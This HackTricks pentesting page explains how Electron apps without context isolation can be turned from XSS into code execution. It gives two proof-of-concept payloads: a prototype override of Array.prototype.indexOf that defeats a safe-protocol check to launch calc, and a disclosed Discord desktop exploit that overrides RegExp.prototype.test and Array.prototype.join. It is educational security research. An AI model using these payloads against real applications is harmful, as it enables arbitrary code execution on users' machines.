hacktricks/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

# Electron contextIsolation RCE via preload code

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>

## Example 1

Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)

This code open http(s) links with default browser:

![](<../../../.gitbook/assets/image (375) (1) (1).png>)

Something like `file:///C:/Windows/systemd32/calc.exe` could be used to execute a calc, the `SAFE_PROTOCOLS.indexOf` is preventing it.

Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation:

```html
<script>
Array.prototype.indexOf = function(){
    return 1337;
}
</script>
```

As the call to `SAFE_PROTOCOLS.indexOf` will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit:

```html
<script>
Array.prototype.indexOf = function(){
    return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```

Check the original slides for other ways to execute programs without having a prompt asking for permissions.

Apparently another way to load and execute code is to access something like `file://127.0.0.1/electron/rce.jar`

## Example 2: Discord App RCE

Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, into the web page.\
Here, I couldn't use modules that can be used for RCE directly, such as _child\_process_ module, but I **found a code where RCE can be achieved by overriding the JavaScript built-in methods** and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the **calc** application is **popped** up when I c**all the `getGPUDriverVersions` function** which is defined in the module called "_discord\_utils_" from devTools, while **overriding the `RegExp.prototype.test` and `Array.prototype.join`**.

```javascript
RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```

The `getGPUDriverVersions` function tries to execute the program by using the "_execa_" library, like the following:

```javascript
module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};
```

Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the \_execa**\_**'s internal processing**.

Specifically, the argument is replaced by changing the following two parts.

[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)

[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>